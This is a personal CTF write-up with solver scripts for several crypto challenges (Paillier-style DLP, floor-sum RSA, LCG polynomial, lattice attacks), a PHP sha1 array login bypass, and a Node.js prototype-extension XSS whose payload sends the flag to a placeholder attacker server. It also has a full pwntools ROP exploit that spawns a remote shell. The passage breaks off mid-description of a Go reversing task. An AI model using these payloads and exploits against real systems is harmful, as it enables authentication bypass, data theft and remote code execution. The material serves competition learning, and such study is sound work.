Although it was before the midterm exams, I couldn't resist solving some problems after roughly reviewing. I only participated in about half of the competition, mainly focusing on crypto and web, with one problem each in pwn and rev.

Problems with a * in the title indicate that I solved them after the competition.

Crypto#

dlppp#

import os
from Crypto.Util.number import getPrime, getRandomNBitInteger

flag = os.getenv("FLAG", "XXXX{sample_flag}").encode()
m = int.from_bytes(flag, 'big')

p = getPrime(512)
y = pow(1 + p, m, p**3)

assert m < p
print(f"p = {hex(p)}")
print(f"y = {hex(y)}")

This problem requires solving a DLP $g^x=y$ under $\mathbb{F}_{p^3}$, where $g=1+p$ and $x<p$.

First, simplify it to $\mathbb{F}_{p^2}$ for easier handling, because

So this approach is valid.

Next, using the binomial theorem, we know:

Thus, the result of the DLP $x=\frac{y-1}{p}$ gives us the flag.

from Crypto.Util.number import long_to_bytes

p = 0xA1C8E1E9B2301CB1F5D424EC6D959D7F275E11507B2177D55F3DC1268C9A3164B72832F362975023F09623814F80FE0FFAD179D0E51C40B8A1F882D1F5F28E71
y = 0x6FA0FCC8C9C5F695A5709243698D7640C27C45352375919D538137333AB3A2C748CAE5E7C1294D6FFC4007476F6FEC6421C992F9FE1919B381306300CAA2260953E48F2EC0DE7B8C6417FAA42001A748B1B367F5211095DDD6BF4E681F7E7AD787E0A7F562F6F0307D6A8D7E8D18CD59BD7572F0C4F430F0FD4FC61503B203F3BCD6DD0B0F84BBDBD42126D95B525FE77E4BE62C6DBD083DBCAA284B20A9EA6FAF9CBAF20DD88B0180417C9021FA1DCB52B2348C4376BD6B9B38A6C860086AF
g = 1 + p

y %= p ^ 2
m = (y - 1) // p

print(long_to_bytes(m))

This problem is closely related to the Paillier cryptosystem.

floorsa#

import os
import hashlib
from Crypto.Util.number import getPrime, getRandomNBitInteger
from itertools import product

def floor_sum(n: int, m: int, a: int) -> int:
  """Fast calculation for sum([a * i // m for i in range(n)])
  """
  res, b = 0, 0
  while 0 < n:
    res += n * (n - 1) // 2 * (a // m)
    a %= m
    res += n * (b // m)
    b %= m
    last = a * n + b
    n, m, a, b = last // m, a, m, last % m
  return res

#def floor_sum_tests():
#  for n, m, a in product(range(50), range(1, 50), range(50)):
#    result = floor_sum(n, m, a) 
#    expect = sum([a * i // m for i in range(n)])
#    assert(result == expect)

if __name__ == '__main__':
  #floor_sum_tests()

  flag = os.getenv('FLAG', 'XXXX{sample_flag}').encode()
  flag += hashlib.sha512(flag).digest()
  m = int.from_bytes(flag, 'big')
  assert m.bit_length() < 2048

  p = getPrime(1024)
  q = getPrime(1024)
  n = p * q
  e = 65537
  c = pow(m, e, n)
  s = floor_sum(q, q, p)

  print(f"c = {c}")
  print(f"n = {n}")
  print(f"s = {s}")

This problem features a peculiar floor_sum that can quickly calculate the value of $\sum_{i=0}^{n-1} \lfloor\frac{ai}{m}\rfloor$, and it provides a s = floor_sum(q, q, p) as a hint for factoring RSA.

During the competition, I noticed that floor_sum(q, q, p) seemed related to gcd, but I couldn't figure it out. I simplified the function as follows:

def sum2(q, p):
    ret = 0
    while q > 0:
        ret += q * (q - 1) // 2 * (p // q)
        q, p = p % q, q
    return ret

However, while testing, I discovered a strange relationship $n\bmod{s}=p+q-1$, so I solved it:

from Crypto.Util.number import long_to_bytes

c = 23040235907187792043102377766239160347012425454756214402219399982044253963561544138187423569531882081170834886320190973854626011799820277883217582208960795474430615579336090533683566370889382239077437657567815790536809115842475993748108172855688647606634510990327206587307392015543017884876145469179123535144938693302707229724909443912012098405828416163212773471183275687343852756789315215914149905888864296778004572587778916842514807079884644431138433900314631727531570096879428541834626325720522038566946030094711700613155240677360427005636301342509966941323931780006792225168839057660986447452212763627881844882128
n = 25436172154773316497363731760659809627551021985352168624695689317365040018878195925779734249357382145683534839534348832631746578327288150976696513216052612085728199134879493012682967254530827617417753223998955022174337237825391634619718971640535408277659054217709169558518413217237374290054035438476060534235907848570089739603581573457194953083783917042829987113625590656741008590506988903895998008845547262465276679611851110911540261411521221317990139079888782193797945245078986517794660508171428778191152342783279365287710944280356669999624474416422142006473378042779555537142175392801014489187786764971671239717769
s = 12718086077386658248681865880329904813775510992676084312347844658682520009439097962889867124678691072841767419767174416315873289163644075488348256608026306042864099567439746506341483627265413808708876611999477511087168618912695817309859485820267704138829527108854584779259206608618687145027017719238030267117794390566380531016624830798422997060308480467087130633621890831591995264022449058406630323270130520401030807803477672651197312971884784226103671425190328967548002718406368654056897938481966140031709870266384782295285897095028680666943294657806202686252742158733266700286323555374087306844259404255328911060160

pq = (n % s) + 1  # idk why...

# (x-p)(x-q)=x^2-pq*x+n
def solve(a, b, c):
    D = b ^ 2 - 4 * a * c
    return (-b + sqrt(D)) / (2 * a)


p = solve(1, -pq, n)
q = n // p
assert p * q == n

d = inverse_mod(65537, (p - 1) * (q - 1))
m = power_mod(c, d, n)
print(long_to_bytes(m))

Later, I understood why from the official solution:

Then, grouping the terms:

Since $\frac{p}{q}$ is not an integer, we have $\lfloor\frac{p}{q}\rfloor+\lfloor\frac{-p}{q}\rfloor=-1$, so the entire expression is:

Thus, we have $\varphi(n)=2s$, making RSA factoring easy, or we can directly calculate the private key.

SSSS.RNG#

p = random_prime(1<<512)

a = randint(2, p-1)
b = randint(2, p-1)
x = randint(2, p-1)

def g():
    global a, b, x
    x = (a*x + b) % p
    return x

with open("flag.txt", "rb") as f:
    flag = int.from_bytes(f.read().strip(), "big")
assert flag < p

PR.<X> = PolynomialRing(GF(p))
f = g() + g()*X + g()*X**2 + g()*X**3 + g()*X**4 + g()*X**5
vs = [(i, f(i)) for i in range(1, 5)]

print(p)
print(vs)
print(f(flag))

The problem uses an LCG to generate a fifth-degree polynomial $f(x)$ over $\mathbb{F}_p$, and provides four points and the value of $f(\text{flag})$ along with $p$.

Although normally six points are needed to recover a fifth-degree polynomial, the coefficients in this problem are generated by an LCG, and the modulus of the LCG is also $p$, so the polynomial coefficients can be nicely expressed as combinations of $a,b,x$.

With four points, we can set up four equations to solve for $a,b,c$ and then recover the entire polynomial. Finally, use sage's roots() to find the flag.

To solve the system of equations, use sage's groebner basis:

from Crypto.Util.number import long_to_bytes

# fmt: off
p = 2908561168050746475465170048583677924550221390147321314856251074876765877416890922338619139786060615096740196376171212325702080653039392939240436429222829
vs = [(1, 1651293975450381579706844999808202297670211173037061827272908790114230592434748044848097133563469251678879059156225205298834971071359017469397331605782920), (2, 49656064002974834481096383104316375265711545391722811288216446968986145936494966876404160910407919885451814058823146922107458035910700220495010462147112), (3, 1481214561214496310917942246038921499126047497749957535731608952096552856013930232284898279007009260107597472601959627310496773682697020898442717240484400), (4, 1950790377868548708758723604473108315857898618124646291056275632619091046294238343215502355242288776617394025418770078552886012721353626716473759644786481)]
fflag = 708078355843841364722603057137729966137248436075776171805731561888875332687774464375592593202164126123800524500062359645261336234459019198930345744751457
# fmt: on

ys = [v[1] for v in vs]

P.<a, b, x> = GF(p)[]


def g():
    global x
    x = a * x + b
    return x


cs = [g() for _ in range(6)]
print(cs)
M = matrix.vandermonde([1, 2, 3, 4, 5, 6])[:-2]
eqs = M * vector(cs) - vector(ys)
I = P.ideal(list(eqs))
assert I.dimension() == 0
V = I.variety()
sol = V[0]
a = sol["a"]
b = sol["b"]
x = sol["x"]

print(a, b, x)

P.<X> = PolynomialRing(GF(p))
f = g() + g() * X + g() * X ** 2 + g() * X ** 3 + g() * X ** 4 + g() * X ** 5
flag = (f - fflag).roots()[0][0]
print(long_to_bytes(flag))

*ECC-RSA 2#

from Crypto.Util.number import getPrime
from hashlib import sha256
import random


def gen_parameters():
	p = getPrime(512)
	q = getPrime(512)
	N = p * q
	a = -3
	while True:
		b = random.randint(0, N)
		if (4*a**3 + 27*b**2) % N != 0:
			break
	x = random.randint(0, N)
	while True:
		y2 = (x**3 + a*x + b) % N
		if Zmod(p)(y2).is_square() and Zmod(q)(y2).is_square():
			break
		x = random.randint(0, N)
	y = CRT([int(Zmod(p)(y2).sqrt()), int(Zmod(q)(y2).sqrt())], [p, q])
	return (N, a, b, (x, y))

with open("flag.txt", "rb") as f:
	FLAG = f.read().strip()


N, a, b, (x, y) = gen_parameters()

EC = EllipticCurve(Zmod(N), (a, b))
P = EC(x, y)

T = P
ct = []
for byte in FLAG:
	r = int(T.xy()[0])
	ct.append(pow(byte*r, 65537, N))
	T += T

with open("backdoor.txt", "w") as f:
	f.write(str(P.xy()))

print(N)
print(a)
print(b)
print(ct)

The problem randomly generates an RSA $N$, then creates a random elliptic curve $E$ over $\mathbb{Z}_N$ and a point $P$ on it.

For encryption, each byte $b_i$ of the flag is computed as $(b_ir)^e\bmod{N}$, where $r$ is the x-coordinate of $T$, initially $T=P$ and updated as $T=T+T$ in each loop.

Obviously, if we know $P$, we can directly brute-force the flag characters.

First, since the flag starts with Neko{, we can deduce $c_1=x^e$ and $c_2=(x')^e$, where $x, x'$ are the first and second $r$ values.

Using the point doubling formula for elliptic curves, we get:

During the competition, I got stuck here, thinking that multiplying the denominator to the left side and subtracting the right side would yield a bivariate polynomial $f(x,x')$. Then, calculating $\gcd(f^e-(x')^e+c_2,x^e-c_1)$ would give the common root $x$ to decrypt the flag. However, the problem was that we couldn't quickly compute $f^e$ because $e=65537$ was too large for sage.

After the competition, I learned that a slight adjustment could be made:

Multiplying both sides by $l(x)^e$:

Then, $f(x)=x^e-c_1$ would have a common root $x$, and gcd could be used to find it.

However, since $e=65537$ is quite large, a simple gcd would take several hours. Using Half-GCD would be much faster, completing in a few minutes.

from sage.matrix.matrix2 import Matrix


def resultant(f1, f2, var):
    return Matrix.determinant(f1.sylvester_matrix(f2, var))


# fmt: off
N = 77442460850212773085794635801375958845804707324993357281208194551623657239187349312436696241935186166257591258504749545772004295327768144396282976900520432732812806363533815251339418767473076011913487178468095959185644823866637334571397649439304806976102102648089122600431404774320176332888332026871462714241
a = -3
b = 43578632266128244820417508517042181755548611175192225705779617200211657490732773312201748031199866345732692087242358575000478046482017387745781434943027615258011975018844134398549042530691348612104431176684289790039020991799641531076390867070455143909432946642413870202048257142913333962443315780842386642355
ct = [21697086857122395176967434654620494627649522148784334045225979449081521488425867082556155818341337071695052689435277079021315588247445055792538963495385773534313807325428840566239154599652446828845504373246944071942414868125146072186227947915771087841250919586422115933424816104302793374958996770253881538673, 49266477054257074473484818561542862745662164231714071140708510651506917381315846662378148841703551424449488467221139483391935479888005959017268552566263422337725411476118524905454705883034549736801225658230078676793857361511433206436194566028594273717701913976245784854561523123789898473908838946902331239866, 7028603282358377495992448362382680390936488310246693315946536533009869131409339287743826905497617870069227204058010261234048284371746377537207831676416633787839846455957555930933160453028689071471311111465411188786513962789048766343384192674592887535558074190054508704985519643182566020856627025680632717108, 9050513336296157318966296526057766469795700863500311709011501078551269762419051027920152087634110021002155294396880732088737967114468704530149483319349124108635470983622198438374066941409351854232260998138763975368301797611951517123629772690822424527049219295311881636461980964393606244977156016351237130197, 23722314062555797757055550662032306586520729360778729513752662310125207625493153569344377395808876436885009166977305311030548086876148175329723072006713368012957948111405386576111829480888205290121863395502615092335120796113485396854148984265743154783580839343811115943714225834266064887917047352644157273663, 48520278189315027327894817534851811386313455146699473585424759278836581631834438215028127659907900773403588324713292043072158488639065137602589232334973598468868368868136595807057994768429695117828412579079416200994227636569324964253500177172162270428920418426521656920672461006572251311690498664259670047980, 70423420620276667958899540113166650749957929584320150452943858737019383323207499966037876331842403163896499411502109376042824370402486300015740045806940140883733761725512912671748019148243843240244347716263816398921415127590424564797474114183353623066292171563478747321244668431370593105073524158099680056094, 57677175743132749817331439822970399665404659767046232400429832271041195310159089504574259505839084395228911752958507363083336972538201432695022461280332212130366416141270136752966718318403591384030664906091824255129612295114139331552088520212323865083621659804807770884683449176042760776091854350083404924526, 48354495178825278561692284169233799680622346657017913645204626826186497975565663619029875724669403687881970079897883293075146579126533817892089793279733363828408186593189195318954989827811320586492365150403733361547513650329301069490776474167215307681091587669251138748148858280899282502778544617558206176985, 1336327070743151440916617006304633049523288270254562619190505707777800363977169223021523664064422394562408942874379817062606914194110006907256790564444251004706650094461726630985127782720094405534102852096565040244032680101823175338348529940773275112987271095199550382938852717124375367419138758827097381326, 22760224598067669674305741702965291613331728388294897519447863109696221098333759497452621578774373773250101299991412772367782521770750361046473223867254433118765828070168648680678074827678440816751913544852035837349689096839207930817492399262281578274080957167437289055817376627972980114169584412913968596087, 20595419914155552122877178467755568327152986831708305559340422283926560694627270816462357267364236257470552002381229962748461690478009845199170539143639091918892701434609808867056555409830377497559339044914484597058922482082417592744879083865810837754882387331203935527031110633228009257751264110797024578546, 25341140433014189989539932622500525293113873724972520359086922367924765292994134658438594704158349050190077806366632880963354528018912600358363187448424946962830493706447927874182406022016651649937946717954501209628113046418365164418483361453447889945650700721266118320463924797134271804385670622074565525299, 71177191510640698209863633991256798030200830943142635980027827377414887327579322925925041100506625306452720432569227645732694589215198378402426340400034611720273771011214479201021796422897920411600541006640452747214631793185643377098295849946535998565149249087257863500584983482668519466975765027864589716603, 28599620011804748257313773437078902860397585079299694804300901895147953889926640911593765330517566142707703195092261714644430345907857500070711907828586251177700802862846698634554873409516111081020436277706557672977471490398114685796200916967614622480361351924590483220123264063528533265260362384684263800167, 12253071305410566000639366028350424805155969567562548980487831660524498693689110406039973400134500275712162879393203338094990190978153116504275873511361544692198275051840929761621481573906987661703495903975204878839448224500251350920297587092074190965754981083015315405441492078177074234542052215647621496585, 69112545215140921979983409479033847146003961977233512471297180413815073274242067103795128200730774476345874423963236188960204157437697130322001813035817863785743899181146621118703838005673921929913090825444416288486362059100550311210988610439523180250495676126782785496304292282611950253143881533809309928052, 69966966847614763608073934644371139411463966772615917698612160736399260611565727828099311133390625931472347586254004631142595139970212250775393559262362108676974112023605859835683673130044617900653097579450403529328466613272159668601435242212668737398593910016275915935825126445999512561319770695779206294321, 73299451247510112208904286839181644749199582703719760611429444984804522606405642806033385280377834864514177346267610600726260362817691148922074682132502741862762463570547976082090825815142699899229153329925218724349240307305526021081315530509258175808474910828607629182191198897682198942350885864182628414007, 15616895810808341127764523917074295722136514038191384427000989308264246551792287242058240838534867994602032950960162168844427847817650720837354115976748805960373558190795740222223462376337253107739393485599799897893081874041348077165849860285675462769699066262256208579934583462636625005079624819560028588822, 1438419812071321050059639600278300222339302430716296518316583813588978289559379648962959942934778655009356910585074502145450955001392172672968677179576642798657895449546375502184957867174869040473533810227435579344138056983619652266840621426289618728238980715075056867694562686439781059289518624264781471122, 67996372510707957033060006799149976198282432792896793893101172214439399239528737106624385787438209697098271510620852570441849049544757836991721488854258930308064842963680483282975368155496540614262813644105532116947927151417398714970926667876453972699142502693269556975398296783029326970981791048240201224668, 43883291787408400200588525004386324919448363888776368356357239426167080976315192631213850232267311093476357006059205124005139395089873825866916668841660221456615724745312049204469066643807628702196055081686171468924594661526166240384811598448997207523186388904847912135907422789333573322493636857490033986154, 67760404563554578712047321493191166528018027359412851873668792914055026026286133561688226044425157590397255163185385368549813609161563689118682309664175098646271267445318421021048868742191079429919059652408943738239946909506045163027883015223495051587552609473275289004769239176900778500331417787966243057752, 33583107239590636118967771943982087324812780763028518394246376247731875865144427658491118537828931357539913376664949677961860227170046038707611331705642763909436254147657442466665049334653504004141339308372954659079831857713886693721013067331470196418010765868420007458522210229965617355629675477446001844210, 71862354059694341271875565922320556520854884699515866328747873150089326649147156830602967576658160700322807580886662752329966703026537836315877831776160002191233653472779456318405902629658827055463682614213384824542999366558332546878741780653013041663166059700695124133828487163337219758698715945177800260643, 4389650202426709688781610829889924871717394700561976928740907540453643682729275832551097553798461339373259098778642849458063901076441364987954274664893481147223793554328969936134568234935313468309239201579124009602857926470890061028501014400155764364369701734260211119747381524254600318062049201492458928576]
# fmt: on

e = 65537
Z = Zmod(N)
c1 = Z(ct[0]) / Z(ord("N")) ^ e
c2 = Z(ct[1]) / Z(ord("e")) ^ e


E = EllipticCurve(Z, (a, b))
P = PolynomialRing(Z, "x")
x = P.gen()

down = 4 * (x ^ 3 + a * x + b)
up = (3 * x ^ 2 + a) ^ 2 - 2 * x * down

f = x ^ e - c1
g = up ^ e - down ^ e * c2


# Half-GCD impl from https://github.com/rkm0959/rkm0959_implements/blob/main/Half_GCD/code.sage


def HGCD(a, b):
    if 2 * b.degree() <= a.degree() or a.degree() == 1:
        return 1, 0, 0, 1
    m = a.degree() // 2
    a_top, a_bot = a.quo_rem(x ^ m)
    b_top, b_bot = b.quo_rem(x ^ m)
    R00, R01, R10, R11 = HGCD(a_top, b_top)
    c = R00 * a + R01 * b
    d = R10 * a + R11 * b
    q, e = c.quo_rem(d)
    d_top, d_bot = d.quo_rem(x ^ (m // 2))
    e_top, e_bot = e.quo_rem(x ^ (m // 2))
    S00, S01, S10, S11 = HGCD(d_top, e_top)
    RET00 = S01 * R00 + (S00 - q * S01) * R10
    RET01 = S01 * R01 + (S00 - q * S01) * R11
    RET10 = S11 * R00 + (S10 - q * S11) * R10
    RET11 = S11 * R01 + (S10 - q * S11) * R11
    return RET00, RET01, RET10, RET11


def GCD(a, b):
    print(a.degree(), b.degree())
    q, r = a.quo_rem(b)
    if r == 0:
        return b
    R00, R01, R10, R11 = HGCD(a, b)
    c = R00 * a + R01 * b
    d = R10 * a + R11 * b
    if d == 0:
        return c.monic()
    q, r = c.quo_rem(d)
    if r == 0:
        return d
    return GCD(d, r)


import sys

sys.setrecursionlimit(500000)


res = GCD(f, g)
# res = (
#     68765093455835208028392258104907079565692659302812829782588600660675613929548799131035775043283907905375438946721292784903505396871443341473054747563228096356170292887552741209158721931281480445553591933194005921593589247544342013684870547235753590331284739460827586347933151294607856549542345658089301181459
#     * x
#     + 57976660076847746693047667669843141709781328208657608892943399238042073050136437602076395330212978534265956439717721582591882414227440127179227428240681552957224873749894765553704124594310498445840959011243768636829159507147665544078137706841681096739053274910222133055138566326690047859724098578096845570031
# )  # precomputed result
r = Z(-res.monic().coefficients()[0])

invtbl = {power_mod(i, e, N): i for i in range(256)}


for c in ct:
    c /= Z(r) ^ e
    print(chr(invtbl[c]), end="")
    r = Z(up(r)) / Z(down(r))

# Neko{h4lf_gcd_g0es_brrr...}

*They Were Eleven#

import os
from Crypto.Util.number import getPrime, getRandomRange

with open("flag.txt", "rb") as f:
    m = f.read().strip()
    m += os.urandom(111 - len(m))
    m = int.from_bytes(m, "big")

xs = []
for i in range(11):
    p = getPrime(512)
    q = getPrime(512)
    n = p * q

    c = m**11 * getRandomRange(0, 2**11) % n

    xs.append((c, n))

print(xs)

This problem is an RSA problem where the length of $m$ is fixed at 111 bytes, and it is encrypted 11 times using $c_i \equiv r_i m^{11} \pmod{n_i}$. Each $n_i$ is a 1024-bit modulus, and $r_i$ is a random number less than 2048.

If $r_i$ were known, it would be easy to use Hastad Broadcast to take the 11th root and get $m$, but we don't know the values of $r_i$.

Given the constraints $r_i < 2^{11}$ and $m < 2^{888}$, it suggests a Lattice approach. So, let's try to transform the problem into a Lattice problem.

Let $T_i$ satisfy

Setting $N=\prod_{i=1}^{n} n_i$ and using a CRT-like approach, we get

Where $r_i^{-1}$ is $r_i^{-1} \bmod{n_i}$

One issue is that while $r_i$ is small, the size of $r_i^{-1}$ is uncertain, and we don't know how to represent $r_i^{-1}$ in the Lattice.

During the competition, I got stuck here, unable to proceed. I tried various approaches, but none worked due to insufficient bounds for Lattice solving.

Later, after reading this writeup by Mystiz, I understood how to handle it.

Let $R=\prod_{i=1}^{n} r_i$ and $R_i=R/r_i$, then we get

So we can obtain the following Basis

Clearly, $v=(R m^{11},R_1,\cdots,R_{11})$ lies in the Lattice spanned by $B$.

We can estimate $Rm^{11}<2^{11\cdot11+11\cdot888}=2^{9889}$ and $R_i<2^{10\cdot11}=2^{110}$, so the entire $v$ is less than $9889+11\cdot110=11099$ bits. Since $N$ itself is $11\cdot1024=11264$ bits, $v$ is a short vector.

In practice, $R_i$ values are slightly smaller, around 90-100 bits, making $v$ even shorter.

I tried using the script from rkm0959/Inequality_Solving_with_CVP to scale and solve CVP, but CVP seemed less effective than LLL for this problem. Direct LLL didn't find the target vector either, so the proper approach is to scale first and then use LLL.

Scaling involves making the target vector's dimensions more uniform, so multiply each column by an appropriate constant to flatten it. Details can be found in the solution script.

After obtaining $v$, brute-force $r_1$ to get $R$, then find $m^{11}$ and take the 11th root to get the flag.

However, the vector obtained from LLL is actually $v'=(R' m^{11},R_1',\cdots,R_{11}')$, where $R'=\operatorname{lcm}(r_1,\cdots,r_{11})$ and $R_i'=R'/r_i$. The two are related by a constant factor, but since LLL finds short vectors, it naturally finds the shorter one. This doesn't affect the brute-force method for $r_1$, so it's fine.

xs = [...]

cs = [ZZ(x[0]) for x in xs]
ns = [ZZ(x[1]) for x in xs]
T = [crt([1 if i == j else 0 for j in range(11)], ns) for i in range(11)]
N = product(ns)

M = matrix(12, 12)
M[0, 0] = N
for i, (c, t) in enumerate(zip(cs, T)):
    M[i + 1, 0] = (c * t) % N
    M[i + 1, i + 1] = 1

print(M.change_ring(Zmod(10)))

b = N.nbits()
Q = matrix.diagonal([2 ^ b // (2 ^ 9889)] + [2 ^ b // (2 ^ 110)] * 11)

M *= Q
M = M.LLL()
M /= Q

for row in M:
    if row[0] < 0:
        row = -row
    if min(row) >= 0 and [row[0] % x == 0 for x in row[1:]]:
        for k1 in range(1, 2 ^ 11):
            R = k1 * row[1]
            if row[0] % R != 0:
                continue
            m11 = ZZ(row[0] // R)
            try:
                m = m11.nth_root(11)
                flag = int(m).to_bytes(111, "big")
                print(flag)
            except ValueError as e:
                pass

# Neko{th3_5tud3nts_0f_spac3_univ3rsity_sh0u1d_b3_wis3_1ik3_a_cat}

The vector from LLL might be reversed, so reverse it if necessary.

Solving this problem after the competition taught me a few things:

1. The clever approach of multiplying by $R$ to handle modular inverses.
2. CVP might be less effective than LLL, so rkm0959/Inequality_Solving_with_CVP is not always the best solution.
3. The technique of rescaling when finding short vectors in Lattice.

Another interesting point is that the $T_i$ I used is actually the same as $N_i \cdot (N_i^{-1} \bmod{n_i})$ mentioned in the previous writeup, where $N_i=N/n_i$. One is calculated explicitly, and the other is done using CRT.

Web#

entrance#

A PHP warm-up problem, the key part is here:

<?php
session_start();

$users = array(
    "admin" => "caa6d4940850705040738b276c7bb3fea1030460",
    "guest" => "35675e68f4b5af7b995d9205ad0fc43842f16450"
);

function lookup($username) {
    global $users;
    return array_key_exists($username, $users) ? $users[$username] : "";
}

if (!empty($_POST['username']) && !empty($_POST['password'])) {
    $sha1pass = lookup($_POST['username']);
    if ($sha1pass == sha1($_POST['password'])) {
        $_SESSION['login'] = true;
        $_SESSION['privilege'] = $_POST['username'] == "guest" ? "guest" : "admin";
        header("Location: /");
        exit();
    } else {
        $fail = true;
    }
}
?>

Log in as admin to get the flag.

Testing reveals that in PHP, sha1([]) == '', so using any non-existent username and passing an array as the password will pass the check.

username=peko&password[]=miko

Roda#

A Node.js XSS problem:

const fs = require('fs');
const axios = require('axios');
const express = require('express');
const multer = require('multer');
const mustacheExpress = require('mustache-express');
const Redis = require('ioredis');
const { v4: uuidv4 } = require('uuid');

const RECAPTCHA_SITE_KEY = process.env.RECAPTCHA_SITE_KEY || '[site key is empty]';
const RECAPTCHA_SECRET_KEY = process.env.RECAPTCHA_SECRET_KEY || '[secret key is empty]';
const SECRET = process.env.SECRET || 's3cr3t';
const FLAG = process.env.FLAG || 'Neko{dummy}';
const REDIS_URL = process.env.REDIS_URL || 'redis://127.0.0.1:6379';

const app = express();
app.use(require('cookie-parser')());
app.use('/static', express.static('static'));
app.engine('mustache', mustacheExpress());
app.set('view engine', 'mustache');
app.set('views', __dirname + '/views');

const port = 5000;
const storage = multer.diskStorage({
  destination: './tmp/'
});

const redis = new Redis(REDIS_URL);

let uploadedFiles = {};
let checkedFiles = {};

const ID_TABLE = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
function generateId(n=8) {
  let res = '';
  for (let i = 0; i < n; i++) {
    res += ID_TABLE[Math.random() * ID_TABLE.length | 0];
  }
  return res;
}

// admin only!
function adminRequired(req, res, next) {
  if (!('secret' in req.cookies)) {
    res.status(401).render('error', {
      message: 'Unauthorized'
    });
    return;
  }

  if (req.cookies.secret !== SECRET) {
    res.status(401).render('error', {
      message: 'Unauthorized'
    });
    return;
  }

  next();
}

app.get('/', (req, res) => {
  res.render('index');
});

app.get('/flag', adminRequired, (req, res) => {
  res.send(FLAG);
});

const SIGNATURES = {
  'png': new Uint8Array([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]),
  'jpg': new Uint8Array([0xff, 0xd8])
};

function compareUint8Arrays(known, input) {
  if (known.length !== input.length) {
  	return false;
  }

  for (let i = 0; i < known.length; i++) {
    if (known[i] !== input[i]) {
      return false;
    }
  }

  return true;
}

function isValidFile(ext, data) {
  // extension should not have special chars
  if (/[^0-9A-Za-z]/.test(ext)) {
    return false;
  }

  // prevent uploading files other than images
  if (!(ext in SIGNATURES)) {
  	return false;
  }

  const signature = SIGNATURES[ext];
  return compareUint8Arrays(signature, data.slice(0, signature.length));
}

const upload = multer({
  storage,
  limits: {
    files: 1,
    fileSize: 100 * 1024
  }
});
app.post('/upload', upload.single('file'), (req, res) => {
  const { file } = req;
  fs.readFile(file.path, (err, data) => {
    const buf = new Uint8Array(data);

    const fileName = file.originalname;
    const ext = fileName.split('.').slice(-1)[0];
  
    // check if the file is safe
    if (isValidFile(ext, buf)) {
      const newFileName = uuidv4() + '.' + ext;
      fs.writeFile('uploads/' + newFileName, buf, (err, data) => {
        let id;
        do {
          id = generateId();
        } while (id in uploadedFiles);

        uploadedFiles[id] = newFileName;
        res.json({
          status: 'success',
          id
        });
      });
    } else {
      res.json({
        status: 'error',
        message: 'Invalid file'
      });
    }
  });
});

// show uploaded contents
const MIME_TYPES = {
  'png': 'image/png',
  'jpg': 'image/jpeg'
};

app.get('/uploads/:fileName', (req, res) => {
  const { fileName } = req.params;
  const path = 'uploads/' + fileName;

  // no path traversal
  res.type('text/html'); // prepare for error messages
  if (/[/\\]|\.\./.test(fileName)) {
    res.status(403).render('error', {
      message: 'No hack'
    });
    return;
  }

  // check if the file exists
  try {
    fs.accessSync(path);
  } catch (e) {
    res.status(404).render('error', {
      message: 'Not found'
    });
    return;
  }

  // send proper Content-Type header
  try {
    const ext = fileName.split('.').slice(-1)[0];
    res.type(MIME_TYPES[ext]);
  } catch {}

  fs.readFile(path, (err, data) => {
    res.send(data);
  });
});

app.get('/:id', (req, res) => {
  const { id } = req.params;

  if (!(id in uploadedFiles)) {
    res.status(404).render('error', {
      message: 'Not found'
    });
    return;
  }

  res.render('file', {
    path: uploadedFiles[id],
    checked: id in checkedFiles,
    siteKey: RECAPTCHA_SITE_KEY,
    id
  });
});

// report image to admin
app.post('/:id/report', async (req, res) => {
  const { id } = req.params;
  const { token } = req.query;
/*
  const params = `?secret=${RECAPTCHA_SECRET_KEY}&response=${encodeURIComponent(token)}`;
  const url = 'https://www.google.com/recaptcha/api/siteverify' + params;
  const result = await axios.get(url);

  if (!result.data.success) {
    res.json({
      status: 'error',
      message: 'reCAPTCHA failed'
    });
    return;
  }
*/
  redis.rpush('query', id);
  redis.llen('query', (err, result) => {
    console.log('[+] reported:', id);
    console.log('[+] length:', result);
    res.json({
      status: 'success',
      length: result
    });
  })
})

// admin only
app.get('/:id/confirm', adminRequired, (req, res) => {
  const { id } = req.params;

  if (id in uploadedFiles) {
    checkedFiles[id] = true;
  }

  res.send('done');
});

app.listen(port, '0.0.0.0', () => {
  console.log(`Example app listening at http://localhost:${port}`);
});

In short, you can upload an image, and it checks the file signature and extension. The route serving the image also uses the extension to set the correct Content-Type. You can report the id to the admin bot, which will visit http://URL/id.

The key is that it checks the extension using ext in SIGNATURES, where SIGNATURES is a JS object. The in operator in JS also includes properties from __proto__, so 'toString' in SIGNATURES or similar will be true.

So, create a file named xxxx.toString with the following content:

<script>
fetch('/flag').then(r=>r.text()).then(t=>fetch('https://YOUR_SERVER/?flag='+encodeURIComponent(t)))
</script>

After uploading, visiting the image URL will trigger the XSS. To report it to the admin bot, which only accepts the id, URL encode the path uploads/SOME_UUID.toString and report it.

A small issue is the use of recaptcha. I set a breakpoint at the submit point, then after passing recaptcha, used fetch to send the recaptcha token along with my path.

Pwn#

BabyBOF:RCE#

A simple ROP problem with source provided:

#include <stdio.h>
#include <unistd.h>

int main() {
  char feedback[0x40];
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(180);
  puts("Enter your feedback: ");
  scanf("%s", feedback);
  puts("Thank you!");
  return 0;
}

The only protection is NX, so directly buffer overflow to ROP leak puts from GOT, then return to main. The second ROP goes to libc to get a shell.

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"

elf = ELF("./vuln_patched")
libc = ELF("./libc-2.31.so")

pop_rdi = 0x401273

# io = gdb.debug("./vuln_patched", "b *(main+107)\nc")
io = remote("pwn2.bsidesahmedabad.in", 9001)
io.recvuntil(b"feedback:")
io.sendline(
    b"a" * 72 + flat([pop_rdi, elf.got["puts"], elf.plt["puts"], elf.sym["main"]])
)
io.recvuntil(b"you!\n")
libc_base = int.from_bytes(io.recv(6), "little") - libc.sym["puts"]
print(f"{libc_base = :#x}")
libc.address = libc_base
rop = ROP(libc)
rop.call("execve", [next(libc.search(b"/bin/sh\0")), 0, 0])
io.recvuntil(b"feedback:")
io.sendline(b"a" * 72 + rop.chain())
io.interactive()

# Neko{Th4t's_4_n1c3_f33db4ck}

Rev#

intersection#

This problem involves reversing a non-stripped Golang flag checker. IDA shows the symbols, but function calls are not very accurate. However, combining it with dynamic debugging in gdb helps understand the program, as long as you know that Golang's calling convention passes parameters on the stack.

Basically, it splits the input string in half, converting them to big ints $x, y$. The program also has three constants $c_1, c_2, c_3$.

